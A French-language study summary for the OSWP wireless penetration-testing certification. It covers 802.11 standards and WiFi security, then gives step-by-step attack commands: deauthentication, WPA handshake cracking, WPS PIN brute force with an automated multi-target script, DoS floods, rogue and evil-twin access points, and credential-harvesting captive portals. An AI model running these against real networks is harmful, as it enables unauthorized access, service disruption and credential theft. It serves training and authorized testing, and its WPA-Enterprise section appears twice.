Résumé OSWP

Offensive Security Wireless Professional

15 novembre 2024

1 Standards IEEE 802.11

1.1 Introduction

Ce chapitre couvre les bases des protocoles de communication sans fil IEEE 802.11, essentiels pour :

- Comprendre le fonctionnement des cartes WiFi
- Identifier les limitations matérielles
- Optimiser les tests de pénétration wireless

1.2 Standards principaux

- **802.11 original**
  - Débits : 1 et 2 Mbps
  - Fréquence : 2.4 GHz
  - Première version (1997)
- **802.11b**
  - Débits jusqu'à 11 Mbps
  - Fréquence : 2.4 GHz
  - Très répandu initialement
- **802.11a**
  - Débits jusqu'à 54 Mbps
  - Fréquence : 5 GHz
  - Moins d'interférences mais portée réduite
- **802.11g**
  - Débits jusqu'à 54 Mbps
  - Fréquence : 2.4 GHz
  - Rétrocompatible avec 802.11b
- **802.11n**
  - Débits jusqu'à 600 Mbps
  - Double bande (2.4 et 5 GHz)
  - Introduction du MIMO
- **802.11ac**
  - Débits > 1 Gbps
  - Fréquence : 5 GHz uniquement
  - MU-MIMO amélioré
- **802.11ax (Wi-Fi 6)**
  - Débits théoriques jusqu'à 9.6 Gbps
  - Double bande
  - Support OFDMA

1.3 Technologies clés

1.3.1 Antenna Diversity vs MIMO

- **Antenna Diversity**
  - Utilise plusieurs antennes pour améliorer la réception
  - Sélectionne la meilleure antenne
  - Technologie plus ancienne (802.11a/b/g)
- **MIMO (Multiple Input Multiple Output)**
  - Utilise plusieurs antennes simultanément
  - Divise les données en flux multiples
  - Améliore significativement les débits
  - Utilisé depuis 802.11n

1.4 Considérations spéciales

1.4.1 802.11h - DFS et TPC

- **DFS (Dynamic Frequency Selection)**
  - Évite les interférences avec les radars
  - Obligatoire dans certaines bandes 5 GHz
  - Change de fréquence si un radar est détecté
- **TPC (Transmit Power Control)**
  - Ajuste la puissance d'émission
  - Réduit les interférences
  - Optimise la couverture

1.5 Implications pour les tests de pénétration

- Importance de choisir le bon matériel selon la cible
- Comprendre les limitations des différents standards

- Tenir compte des contraintes DFS en 5 GHz
- Considérer la compatibilité MIMO pour la capture de paquets

2 Sécurité WiFi et Chiffrement

2.1 Évolution historique

- **WEP (Wired Equivalent Privacy)**
  - Premier protocole de sécurité WiFi
  - Introduit avec le standard 802.11
  - Facilement crackable (moins d'une minute)
- **WPA (WiFi Protected Access)**
  - Introduit en 2003 pour remplacer WEP
  - Développé par le groupe 802.11i
- **WPA2**
  - Introduit en 2004
  - Implémentation complète du standard 802.11i
- **WPS (WiFi Protected Setup)**
  - Introduit en 2006
  - Facilite le partage des mots de passe
  - Standardisation des méthodes de configuration
- **WPA3**
  - Annoncé en janvier 2018
  - Principales améliorations :
    - Forward secrecy avec handshake Dragonfly/SAE
    - Configuration simplifiée des appareils IoT
    - Mode 192-bit pour réseaux enterprise
    - PMF (Protected Management Frames) obligatoire

2.2 Protected Management Frames (PMF)

- Protection des trames de gestion
- Empêche les attaques par désauthentification
- Trois modes de configuration :
  - Désactivé
  - Capable (optionnel)
  - Requis (obligatoire)

2.3 Security Association Teardown Protection

- Protège contre les tentatives de déconnexion malveillantes
- Utilise des requêtes SA Query pour vérifier la légitimité
- Processus de reconnexion sécurisé :
  - Délai de 10-20 secondes avant nouvelle tentative
  - Vérification des clés via SA Query
  - Protection contre les AP malveillants

2.4 Opportunistic Wireless Encryption (OWE)

- Aussi connu comme "Enhanced Open"
- Ajoute du chiffrement aux réseaux WiFi publics
- Améliore la sécurité sans nécessiter de mot de passe

3 Outils et Pilotes WiFi Linux

3.1 Architecture du système WiFi Linux

- **mac80211**
  - Framework principal pour les pilotes WiFi modernes
  - Gère les opérations de bas niveau
  - Utilisé pour tous les nouveaux pilotes Linux
- **nl80211**
  - Bibliothèque NetLink pour 802.11
  - Interface entre les outils utilisateur et le noyau
  - Utilisé par : wpa_supplicant, hostapd, iw, Wireshark, aircrack-ng
- **cfg80211**
  - API de configuration dans le noyau Linux
  - Gère les interactions avec les pilotes FullMAC et SoftMAC
  - Contrôle la conformité réglementaire

3.2 Types de pilotes

- **FullMAC**

- Opérations MLME gérées par le matériel
- Exemple : brcmfmac (Broadcom)
- Avantages : meilleure efficacité énergétique
- Inconvénients : dépendance aux mises à jour constructeur

— **SoftMAC**
- Opérations MLME gérées par le logiciel
- Exemple : iwlwifi (Intel)
- Avantages : mises à jour via le noyau Linux
- Plus grande flexibilité pour les tests

3.3 Commandes essentielles

```
# Identifier le chipset
lsusb
lspci
airmon-ng

# Vérifier le pilote chargé
lsmod | grep wifi
dmesg | grep wifi

# Gérer les interfaces
iw dev
ip link set wlan0 up/down
iw wlan0 set monitor none  # Mode moniteur
iwconfig wlan0 mode monitor  # Ancienne méthode

# Scanner les réseaux
iw dev wlan0 scan
iwlist wlan0 scan  # Ancienne méthode

# Gérer les connexions
wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
hostapd hostapd.conf  # Mode point d'accès
```

3.4 Commandes de gestion des modules

```
# Lister tous les modules chargés
lsmod
lsmod | grep -E 'wifi|wlan|80211'

# Informations détaillées sur un module
modinfo rtl8812au
modinfo iwlwifi

# Charger/Décharger des modules
sudo modprobe rtl8812au
sudo modprobe -r rtl8812au  # Décharger
sudo rmmod rtl8812au        # Alternative pour décharger

# Blacklister un module
echo "blacklist rtl8812au" | sudo tee /etc/modprobe.d/blacklist-rtl8812au.conf

# Vérifier les paramètres d'un module
systool -v -m rtl8812au
```

3.5 Commandes de diagnostic

```
# Informations matérielles détaillées
sudo lshw -C network
inxi -Fxz

# Journal du noyau pour le WiFi
dmesg | grep -i 'wifi\|wlan\|80211'
journalctl -k | grep wifi

# État des interfaces réseau
ip link show
iw dev
iwconfig
nmcli dev wifi list

# Vérifier les capacités de la carte
iw list
iw phy phy0 info
iwlist wlan0 txpower
```

3.6 Commandes de configuration avancée

```
# Configuration de la puissance d'émission
iw dev wlan0 set txpower fixed 3000  # En mBm (30 dBm)
iwconfig wlan0 txpower 30  # En dBm
```

```
4
5 # Changer de canal
6 iw dev wlan0 set channel 6
7 iwconfig wlan0 channel 6
8
9 # Configuration du mode moniteur
    avec options
10 iw dev wlan0 set monitor fcsfail
    control otherbss
11 iw dev wlan0 set monitor none
     # Mode moniteur simple
12
13 # Gestion des interfaces virtuelles
14 iw dev wlan0 interface add mon0 type
     monitor
15 iw dev mon0 del
     # Supprimer interface
16
17 # Configuration du pays (
    réglementation)
18 iw reg get
     # Voir réglementation actuelle
19 iw reg set US
     # Changer de pays
```

3.7 Scripts utiles pour l'automatisation

```
1 #!/bin/bash
2 # Script de mise en mode moniteur
3 interface="wlan0"
4
5 # Arrêt des processus pouvant
    interférer
6 airmon-ng check kill
7
8 # Désactivation de l'interface
9 ip link set $interface down
10
11 # Déchargement/Rechargement des
    modules si nécessaire
12 rmmod rtl8812au 2>/dev/null
13 modprobe rtl8812au
14
15 # Configuration du mode moniteur
16 iw dev $interface set monitor none
17 ip link set $interface up
18
19 # Vérification
20 iw dev $interface info
```

3.8 Dépannage courant

```
1 # Vérifier les conflits de pilotes
2 airmon-ng check
3
4 # Réinitialiser la pile réseau
5 sudo service NetworkManager stop
6 sudo systemctl restart networking
7
8 # Vérifier les erreurs
9 dmesg -w
     # Surveillance en temps réel
10 iw event -f
     # Événements WiFi en temps réel
11
12 # Déboguer wpa_supplicant
13 wpa_supplicant -d -i wlan0 -c
    wpa_supplicant.conf
14
15 # Vérifier les interférences
16 sudo wavemon
     # Outil de monitoring WiFi
```

3.9 Configuration du système

```
1 # Désactiver la gestion d'énergie
2 iw dev wlan0 set power_save off
3 iwconfig wlan0 power off
4
5 # Configuration permanente des
    modules
6 cat << EOF | sudo tee /etc/modprobe.
    d/8812au.conf
7 options 8812au rtw_power_mgnt=0
    rtw_enusbss=0
8 EOF
9
10 # Désactiver le service
    NetworkManager
11 sudo systemctl disable
    NetworkManager
12 sudo systemctl mask NetworkManager
```

3.10 MLME (MAC Sublayer Management Entity)

Opérations de gestion principales :

- Authentication
- Deauthentication
- Association
- Disassociation
- Reassociation
- Beaconing

3.11 Points importants pour les tests

- Vérifier la compatibilité du chipset avec le mode moniteur
- Privilégier les cartes avec pilotes SoftMAC pour plus de flexibilité
- Comprendre les limitations des pilotes FullMAC
- Utiliser les outils modernes (iw) plutôt que les anciens (iwconfig)
- Vérifier les restrictions réglementaires avec CRDA

4 Wireshark et Analyse de Paquets WiFi

4.1 Introduction à Wireshark

- Anciennement connu sous le nom Ethereal
- Outil de référence pour l'analyse de paquets réseau
- Supporte de nombreux protocoles :
  - Ethernet, IP, TCP, UDP
  - 802.11 (WiFi)
  - ATM, EtherCAT
- Disponible en version GUI et CLI (TShark)

4.2 Fonctionnalités Principales

- **Capture en direct**
  - Support de multiples interfaces
  - Capture à distance possible
  - Filtrage en temps réel
- **Analyse de fichiers**
  - Support de nombreux formats de capture
  - Possibilité d'import/export
  - Analyse statistique

4.3 Filtres Wireshark

- **Filtres de capture**
  - Syntaxe BPF (Berkeley Packet Filter)
  - Appliqués avant la capture
  - Réduit la taille des fichiers de capture
- **Filtres d'affichage**
  - Plus flexibles que les filtres de capture
  - Appliqués après la capture
  - Exemples courants :
    - `wlan.bssid == 00:0c:41:82:b2:55`
    - `eapol` (pour les trames EAPoL)
    - `wlan.fc.type_subtype in {0x0 0x1 0xb}`

4.4 Analyse WiFi Spécifique

- **WLAN Statistics**
  - Vue d'ensemble du trafic wireless
  - Statistiques par BSSID
  - Informations sur :
    - Beacons
    - Paquets de données
    - Probe requests/responses
    - Authentification/Désauthentification
- **Déchiffrement WPA**
  - Utilisation de wpa_passphrase
  - Génération de PMK
  - Nécessite :
    - Les 4 trames EAPoL
    - Les beacons
    - La passphrase correcte

4.5 Exercices Pratiques

1. Analyse de capture WPA avec coloration des trames
2. Utilisation des filtres d'affichage
3. Ajout de colonnes personnalisées
4. Configuration d'un AP WPA et capture
5. Déchiffrement de trafic WPA

4.6 Points Clés

- Importance des filtres pour l'analyse ciblée
- Compréhension des différents types de trames 802.11
- Capacité à identifier les séquences d'authentification
- Maîtrise des outils de déchiffrement
- Utilisation des statistiques pour l'analyse globale

5 Analyse des Trames WiFi

5.1 Structure des Trames 802.11

- **En-tête MAC**

- Frame Control
- Duration/ID
- Adresses (1-4)
- Sequence Control

— **Types de Trames**
- Management (Type 0)
- Control (Type 1)
- Data (Type 2)

5.2 Séquence de Connexion

1. **Beacon (Frame 1)**
   - Annonce le réseau
   - Contient les capacités RSN
   - WPA2 CCMP utilisé
   - AKM : PSK avec SHA256
2. **Probe Request/Response (Frames 2-3)**
   - Client scanne les réseaux
   - AP répond avec ses capacités
3. **Authentication (Frames 50-51)**
   - Client initie l'authentification
   - AP répond avec succès
4. **Association (Frames 52-53)**
   - Client demande l'association
   - Indique support PMF
   - AP confirme l'association

5.3 Protection Management Frame (PMF)

— **Attaque de Déauthentification (Frame 132)**
- Tentative de déconnexion malveillante
- Peut venir d'un WIPS ou aireplay-ng

— **SA Query (Frames 133-134)**
- Client vérifie l'AP
- AP répond immédiatement
- Protection contre les fausses déauthentifications

5.4 Commandes d'Analyse

```
# Capture de trames
tcpdump -i wlan0mon -w capture.pcap
tshark -i wlan0mon -w capture.pcap

# Filtres Wireshark courants
wlan.bssid == 00:11:22:33:44:55
wlan.fc.type_subtype == 0x08     # Beacons
wlan.fc.type_subtype == 0x0b     # Authentication
wlan.fc.type_subtype == 0x0c     # Deauthentication
eapol                            # Trames 4-way handshake

# Analyse avec tshark
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 0x08"
tshark -r capture.pcap -Y "eapol" -V

# Extraction des handshakes
wpaclean cleaned.cap capture.pcap
```

5.5 Points Clés pour l'Analyse

- Observer la séquence complète de connexion
- Vérifier les mécanismes de sécurité (RSN IE)
- Identifier les attaques potentielles
- Comprendre les mécanismes de protection
- Analyser les handshakes pour le cracking

5.6 Outils Complémentaires

```
# Aircrack-ng suite
airdecap-ng -e SSID -p PASSWORD capture.pcap
aireplay-ng --deauth 1 -a BSSID wlan0mon
airodump-ng --bssid BSSID -c CHANNEL -w prefix wlan0mon

# Analyse avec Pyrit
pyrit -r capture.pcap analyze
pyrit -r capture.pcap strip

# Kismet
kismet -c wlan0mon
```

6 Guide Pratique du Cracking WiFi

6.1 1. Préparation de l'Environnement

```
# 1.1 Vérification de la carte WiFi
iwconfig
iw list
```

```

# 1.2 Arrêt des processus interférents
airmon-ng check
airmon-ng check kill
systemctl stop NetworkManager
systemctl stop wpa_supplicant

# 1.3 Activation du mode moniteur
airmon-ng start wlan0
# Vérification
iwconfig wlan0mon
```

6.2 2. Reconnaissance du Réseau Cible

```
# 2.1 Scan des réseaux disponibles
airodump-ng wlan0mon

# 2.2 Ciblage d'un réseau spécifique
airodump-ng -c [CHANNEL] --bssid [BSSID] -w capture wlan0mon
# Exemple:
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
```

6.3 3. Capture du Handshake

```
# 3.1 Déauthentification ciblée
aireplay-ng -0 1 -a [BSSID] -c [CLIENT_MAC] wlan0mon
# Exemple:
aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

# 3.2 Déauthentification broadcast (alternative)
aireplay-ng -0 10 -a [BSSID] wlan0mon

# 3.3 Vérification du handshake
aircrack-ng capture-01.cap
```

6.4 4. Préparation des Wordlists

```
# 4.1 Création d'une wordlist personnalisée
crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 > wordlist.txt

# 4.2 Application de règles avec John
john --wordlist=base.txt --rules --stdout > wordlist_rules.txt

# 4.3 Combinaison de wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt

# 4.4 Manipulation avec RSMangler
rsmangler --file input.txt --output mangled.txt
```

6.5 5. Cracking avec Different Outils

6.5.1 5.1 Aircrack-ng

```
# Cracking basique
aircrack-ng -w wordlist.txt capture-01.cap

# Cracking avec masque
aircrack-ng -w - capture-01.cap -e [SSID]
```

6.5.2 5.2 Hashcat

```
# Conversion du format
cap2hccapx capture-01.cap capture.hccapx

# Cracking avec GPU
hashcat -m 2500 capture.hccapx wordlist.txt

# Cracking avec règles
hashcat -m 2500 capture.hccapx wordlist.txt -r rules/best64.rule
```

6.5.3 5.3 CoWPAtty

```
# Génération de tables rainbow
genpmk -f wordlist.txt -d hash_tables -s [SSID]

# Utilisation des tables
cowpatty -r capture-01.cap -d hash_tables -s [SSID]
```

6.6 6. Vérification et Déchiffrement

```
# 6.1 Test du mot de passe trouvé
airdecap-ng -p [PASSWORD] -e [SSID] capture-01.cap

# 6.2 Analyse du trafic déchiffré
wireshark capture-01-dec.cap
```

6.7 7. Nettoyage

```
# 7.1 Désactivation du mode moniteur
airmon-ng stop wlan0mon

# 7.2 Redémarrage des services
systemctl start NetworkManager
systemctl start wpa_supplicant
```

6.8 Points Critiques à Surveiller

- **Qualité du Handshake**
  - Vérifier la capture complète des 4 trames
  - S'assurer de la proximité avec la cible
  - Répéter la capture si nécessaire
- **Optimisation du Cracking**
  - Utiliser des wordlists pertinentes
  - Privilégier le GPU quand possible
  - Adapter la stratégie selon le contexte
- **Considérations Légales**
  - Obtenir les autorisations nécessaires
  - Documenter toutes les actions
  - Respecter le périmètre défini

7 Guide Détaillé des Commandes WPS

7.1 Commandes de Reconnaissance

```
# wash : Scanner les réseaux WPS
wash -i wlan0mon
    # Scan basique
wash -i wlan0mon -s
    # Scan avec tri par puissance
wash -i wlan0mon -C
    # Scan en continu
wash -i wlan0mon -n
    # Ignore les réseaux verrouillés

Options importantes:
-i : Interface en mode moniteur
-s : Tri par puissance du signal
-C : Mode continu
-n : Ignore les réseaux verrouillés
-5 : Scan uniquement 5GHz
-2 : Scan uniquement 2.4GHz
```

7.2 Commandes Reaver

```
# Attaque PixieWPS
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 6 -K 1 -vv -N
reaver -i wlan0mon -b BSSID -c CHANNEL -K 1 -w -N -vv

Options essentielles:
-i : Interface moniteur
-b : BSSID cible
-c : Canal WiFi
-K : Active l'attaque Pixie Dust
-vv : Mode très verbeux
-N : Ne pas restaurer la session
-w : Génère fichier session WPA

# Attaque par force brute
reaver -i wlan0mon -b BSSID -c CHANNEL -d 2 -t 5 -l 3 -x 2

Options avancées:
-d : Délai entre tentatives (secondes)
-t : Timeout pour réponses
-l : Ignore verrou après X échecs
-x : Nombre de tentatives par PIN
```

7.3 Commandes MDK3/MDK4

```
# Attaques DoS avec MDK3
mdk3 wlan0mon a -a BSSID          # Authentication DoS
mdk3 wlan0mon d -b blacklist      # Deauthentication
mdk3 wlan0mon m -t BSSID          # Michael exploitation

# Attaques avec MDK4
mdk4 wlan0mon d -B BSSID          # Deauthentication
mdk4 wlan0mon e -t BSSID          # EAPOL Start flood
```

```
mdk4 wlan0mon a -S SSID            # Authentication flood

Options communes:
a : Mode authentication flood
d : Mode deauthentication
e : Mode EAPOL Start flood
-t : MAC cible
-B : BSSID cible
```

7.4 Commandes Bully

```
# Attaques basiques
bully -b BSSID -c CHANNEL -v 3 wlan0mon
bully -b BSSID -c CHANNEL -S -v 4 -F wlan0mon

Options importantes:
-b : BSSID cible
-c : Canal WiFi
-v : Niveau de verbosité (1-4)
-S : Utilise séquence courte
-F : Force le mode bruteforce
-p : PIN spécifique à tester
-B : Mode bruteforce séquentiel
```

7.5 Gestion des PINs Connus

```
# Vérification des PINs connus
source /usr/share/airgeddon/known_pins.db
echo ${PINDB["0013F7"]}            # Premiers octets du BSSID

# Création d'une liste personnalisée
echo "00:11:22 12345670" >> custom_pins.txt
echo "33:44:55 87654321" >> custom_pins.txt

# Test avec liste personnalisée
while read mac pin; do
    reaver -i wlan0mon -b $mac -p $pin -vv
done < custom_pins.txt
```

7.6 Scripts d'Automatisation

```
#!/bin/bash
# Script d'attaque automatisée

# Configuration interface
airmon-ng check kill
airmon-ng start wlan0

# Scan des réseaux
wash -i wlan0mon -o targets.txt

# Pour chaque cible
while read line; do
    bssid=$(echo $line | cut -d' ' -f1)
    channel=$(echo $line | cut -d' ' -f2)

    # Tentative Pixie
    reaver -i wlan0mon -b $bssid -c $channel -K 1 -vv

    # Si échec, force brute
    if [ $? -ne 0 ]; then
        reaver -i wlan0mon -b $bssid -c $channel -d 2 -t 5
    fi
done < targets.txt
```

7.7 Points Importants

- **Gestion des Erreurs**
  - Vérifier les logs avec -vv
  - Adapter les délais selon les réponses
  - Documenter les erreurs spécifiques
- **Optimisation**
  - Utiliser les PINs connus en premier
  - Adapter les timeouts au réseau
  - Sauvegarder les sessions importantes

8 Points d'Accès Rogue (Rogue AP)

8.1 1. Concepts de Base

- Un Rogue AP est un point d'accès non autorisé
- Utilise la liste des réseaux préférés (PNL) des clients
- Exploite le comportement de roaming des clients WiFi
- Cible les clients qui cherchent à se reconnecter

8.2 2. Configuration du Rogue AP

```
# Création du fichier de configuration hostapd-mana
cat > Mostar-mana.conf << EOF
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=anypassword
mana_wpaout=mostar
EOF

# Démarrage du Rogue AP
sudo hostapd-mana Mostar-mana.conf
```

8.3 3. Attaque de Déauthentification

```
# Activation du mode moniteur
sudo airmon-ng check kill
sudo airmon-ng start wlan1 1

# Déauthentification des clients
sudo aireplay-ng -0 0 -a FC:7A:2B:88:63:EF wlan1mon

# Déauthentification ciblée
sudo aireplay-ng -0 1 -a [BSSID_CIBLE] -c [MAC_CLIENT] wlan1mon
```

8.4 4. Capture des Handshakes

```
# Surveillance des connexions avec hostapd-mana
# Les handshakes sont automatiquement sauvegardés dans mostar.hccapx

# Cracking du handshake
aircrack-ng mostar.hccapx -e Mostar -w /usr/share/john/password.lst
```

8.5 5. Points Critiques

- **Positionnement**
  - Placer le Rogue AP plus près des clients que l'AP légitime
  - S'assurer d'une bonne puissance de signal
  - Utiliser le même canal que l'AP cible
- **Timing**
  - Synchroniser la déauthentification avec le Rogue AP
  - Maintenir le Rogue AP actif suffisamment longtemps
  - Adapter la fréquence des déauthentifications

8.6 6. Bonnes Pratiques

1. Vérifier la configuration avant le lancement
2. Surveiller les logs pour les connexions
3. Capturer tous les handshakes possibles
4. Tester différentes positions pour le Rogue AP
5. Documenter les MAC addresses capturées

8.7 7. Commandes Complémentaires

```
# Vérification des interfaces
iwconfig
iw dev

# Surveillance du trafic
tcpdump -i wlan0 -n

# Analyse des handshakes capturés
wireshark mostar.hccapx

# Conversion de format si nécessaire
cap2hccapx capture.cap output.hccapx
```

9 Attaque des Portails Captifs

9.1 1. Configuration du Point d'Accès

```
# Configuration de hostapd
cat > mco-hostapd.conf << EOF
interface=wlan0
ssid=MegaCorp One Lab
```

```
channel=1
hw_mode=g
ieee80211n=1
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=anypassword
EOF

# Démarrage de hostapd en arrière-plan
sudo hostapd -B mco-hostapd.conf

# Vérification du statut
sudo systemctl status hostapd
```

9.2 2. Configuration du DHCP et DNS

```
# Configuration de dnsmasq
cat > dnsmasq.conf << EOF
interface=wlan0
dhcp-range=192.168.87.100,192.168.87.200,255.255.255.0,12h
dhcp-option=3,192.168.87.1
dhcp-option=6,192.168.87.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
EOF

# Démarrage de dnsmasq
sudo systemctl start dnsmasq

# Configuration IP de l'interface
sudo ip addr add 192.168.87.1/24 dev wlan0
```

9.3 3. Configuration du Portail Captif

```
# Installation des dépendances
sudo apt install apache2 php

# Configuration du virtualhost
sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/portal.conf

# Édition de la configuration
sudo nano /etc/apache2/sites-available/portal.conf
# Ajouter:
DocumentRoot /var/www/portal
<Directory /var/www/portal>
    AllowOverride All
    Order allow,deny
    allow from all
</Directory>

# Activation du site
sudo a2ensite portal.conf
sudo systemctl restart apache2
```

9.4 4. Surveillance et Capture

```
# Surveillance des logs hostapd
sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'

# Surveillance des logs Apache
sudo tail -f /var/log/apache2/access.log

# Récupération des identifiants capturés
sudo find /tmp/ -iname passphrase.txt
sudo cat /tmp/systemd-private-*/tmp/passphrase.txt
```

9.5 5. Points Critiques

— **Redirection DNS**

```
   # Configuration iptables
   sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.87.1:80
   sudo iptables -t nat -A POSTROUTING -j MASQUERADE

```

— **Gestion des Erreurs**

- Vérifier les permissions des fichiers
- Surveiller les logs d'erreur Apache
- Tester la redirection DNS

9.6 6. Bonnes Pratiques

1. Vérifier la configuration réseau
2. Tester le portail avant déploiement

3. Surveiller les logs en temps réel
4. Sauvegarder les identifiants capturés
5. Documenter les connexions réussies

9.7 7. Commandes de Débogage

```
# Test de la configuration DNS
nslookup google.com 192.168.87.1

# Vérification des interfaces
ip addr show wlan0

# Test du portail
curl -I http://192.168.87.1

# Vérification des règles iptables
sudo iptables -t nat -L -n -v
```

10 Attaque WPA Enterprise

10.1 Contexte

Le WPA Enterprise est une solution de sécurité WiFi adaptée aux grandes organisations qui :

- Permet l'authentification centralisée des utilisateurs
- Évite les problèmes de gestion des clés pré-partagées (PSK)
- Offre une meilleure sécurité que le WPA-PSK

10.2 Vulnérabilités principales

Malgré sa robustesse, le WPA Enterprise peut être compromis par :

- Des erreurs de configuration
- L'acceptation de certificats non valides par les clients
- Des attaques de type "Evil Twin" (point d'accès malveillant)

10.3 Outils d'attaque principaux

- hostapd-mana : Création de points d'accès malveillants
- asleap : Craquage des hashes de mots de passe
- crackapd : Automatisation des attaques

10.4 Commandes importantes

```
# Lancement de hostapd en arrière-plan
hostapd -B <config_file>

# Craquage de mot de passe avec asleap
asleap -C <challenge> -R <response> -W <wordlist>
```

10.5 Points clés de l'attaque détaillés

10.5.1 1. Création du faux point d'accès

```
# Création du certificat SSL
openssl genrsa -out server.key 2048
openssl req -new -x509 -nodes -sha256 -days 365 -key server.key -out server.pem

# Configuration de hostapd-mana
interface=wlan0
ssid=NomDuReseauCible
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=server.pem
server_cert=server.pem
private_key=server.key
```

10.5.2 2. Capture des authentifications

```
# Lancement de hostapd-mana
hostapd -B hostapd.conf

# Surveillance des logs
tail -f /tmp/hostapd.credout

# Format des credentials capturés
MANA EAP Identity Phase 0: [username]
MANA EAP Identity Phase 1: [username]
MANA EAP EAP-MSCHAPV2 ASLEAP user=[username] | asleap -C [challenge] -R [response]
```

10.5.3 3. Récupération et traitement des hashes

```
# Format des hashes pour différents outils
# Pour ASLEAP
asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1

# Pour John The Ripper
[username]:$NETNTLM$[challenge]$[response]

# Pour Hashcat
[username]::::[response]:[challenge]
```

10.5.4 4. Craquage des mots de passe

```
# Avec asleap
asleap -C [challenge] -R [response] -W /usr/share/john/password.lst

# Avec John The Ripper
john --format=netntlm hash.txt

# Avec Hashcat
hashcat -m 5500 hash.txt wordlist.txt
```

10.5.5 5. Techniques d'escalade d'attaque

```
# Configuration de crackapd pour l'automatisation
crackapd -i wlan0 -d /path/to/wordlist -s NomDuReseauCible

# Configuration du routage pour fournir un accès Internet
# Activation du forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Configuration nftables
nft add table ip nat
nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
nft add rule ip nat postrouting oifname "eth0" masquerade

# Déauthentification des clients (si nécessaire)
aireplay-ng -0 1 -a [BSSID_CIBLE] -c [CLIENT_MAC] wlan0
```

10.5.6 6. Outils de surveillance

```
# Capture du trafic
airodump-ng -c [CHANNEL] --bssid [BSSID] -w capture wlan0

# Analyse des paquets EAP
wireshark -r capture-01.cap -Y "eap"

# Surveillance des connexions
watch -n 1 "hostapd_cli all_sta"
```

10.6 Points clés de l'attaque

1. Création d'un faux point d'accès (Evil Twin)
2. Capture des tentatives d'authentification
3. Récupération des identifiants et hashes
4. Craquage des mots de passe
5. Possibilité d'escalade vers d'autres attaques

10.7 Contre-mesures

— Validation stricte des certificats
— Configuration sécurisée des clients
— Utilisation de méthodes d'authentification robustes
— Activation de 802.11w pour la protection contre la désauthentification

10.8 Points clés de l'attaque détaillés

10.8.1 1. Création du faux point d'accès

```
# Création du certificat SSL
openssl genrsa -out server.key 2048
openssl req -new -x509 -nodes -sha256 -days 365 -key server.key -out server.pem

# Configuration de hostapd-mana
interface=wlan0
ssid=NomDuReseauCible
channel=1
```

```
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=server.pem
server_cert=server.pem
private_key=server.key
```

10.8.2 2. Capture des authentifications

```
# Lancement de hostapd-mana
hostapd -B hostapd.conf

# Surveillance des logs
tail -f /tmp/hostapd.credout

# Format des credentials capturés
MANA EAP Identity Phase 0: [username]
MANA EAP Identity Phase 1: [username]
MANA EAP EAP-MSCHAPV2 ASLEAP user=[username] | asleap -C [challenge] -R [response]
```

10.8.3 3. Récupération et traitement des hashes

```
# Format des hashes pour différents outils
# Pour ASLEAP
asleap -C ce:b6:98:85:c6:56:59:0c -R 72:79:f6:5a:a4:98:70:f4:58:22:c8:9d:cb:dd:73:c1

# Pour John The Ripper
[username]:$NETNTLM$[challenge]$[response]

# Pour Hashcat
[username]::::[response]:[challenge]
```

10.8.4 4. Craquage des mots de passe

```
# Avec asleap
asleap -C [challenge] -R [response] -W /usr/share/john/password.lst

# Avec John The Ripper
john --format=netntlm hash.txt

# Avec Hashcat
hashcat -m 5500 hash.txt wordlist.txt
```

10.8.5 5. Techniques d'escalade d'attaque

```
# Configuration de crackapd pour l'automatisation
crackapd -i wlan0 -d /path/to/wordlist -s NomDuReseauCible

# Configuration du routage pour fournir un accès Internet
# Activation du forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Configuration nftables
nft add table ip nat
nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
nft add rule ip nat postrouting oifname "eth0" masquerade

# Déauthentification des clients (si nécessaire)
aireplay-ng -0 1 -a [BSSID_CIBLE] -c [CLIENT_MAC] wlan0
```

10.8.6 6. Outils de surveillance

```
# Capture du trafic
airodump-ng -c [CHANNEL] --bssid [BSSID] -w capture wlan0

# Analyse des paquets EAP
wireshark -r capture-01.cap -Y "eap"

# Surveillance des connexions
watch -n 1 "hostapd_cli all_sta"
```

11 Bettercap - Outil d'Audit WiFi

11.1 1. Introduction à Bettercap

- Outil polyvalent pour les audits WiFi
- Trois interfaces disponibles :
  - Interface interactive (CLI)
  - Interface web

— Scripting
— Capacités similaires à aircrack-ng suite

11.2 2. Configuration Initiale

```
# Installation de Bettercap
sudo apt install bettercap

# Configuration de l'interface web
cat > https-ui.cap << EOF
set api.rest.username admin
set api.rest.password password123
set https.server.certificate cert.pem
set https.server.key key.pem
https.server on
EOF

# Génération des certificats SSL
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem

# Démarrage de Bettercap avec interface web
sudo bettercap -caplet https-ui.cap
```

11.3 3. Commandes WiFi Essentielles

```
# Activation du module WiFi
wifi.recon on

# Configuration du chemin des handshakes
set wifi.handshakes.file /path/to/handshakes.pcap

# Déauthentification d'un client spécifique
wifi.deauth MAC_CLIENT

# Déauthentification de tous les clients
wifi.deauth ff:ff:ff:ff:ff:ff

# Capture de handshake WPA
wifi.handshakes.clear          # Effacer les handshakes précédents
wifi.handshakes.status         # Vérifier le statut des captures
```

11.4 4. Interface Web

— **Accès à l'interface**

```
    # URL d'accès
    https://127.0.0.1/

    # Identifiants par défaut
    Username: admin
    Password: password123

```

— **Fonctionnalités principales**
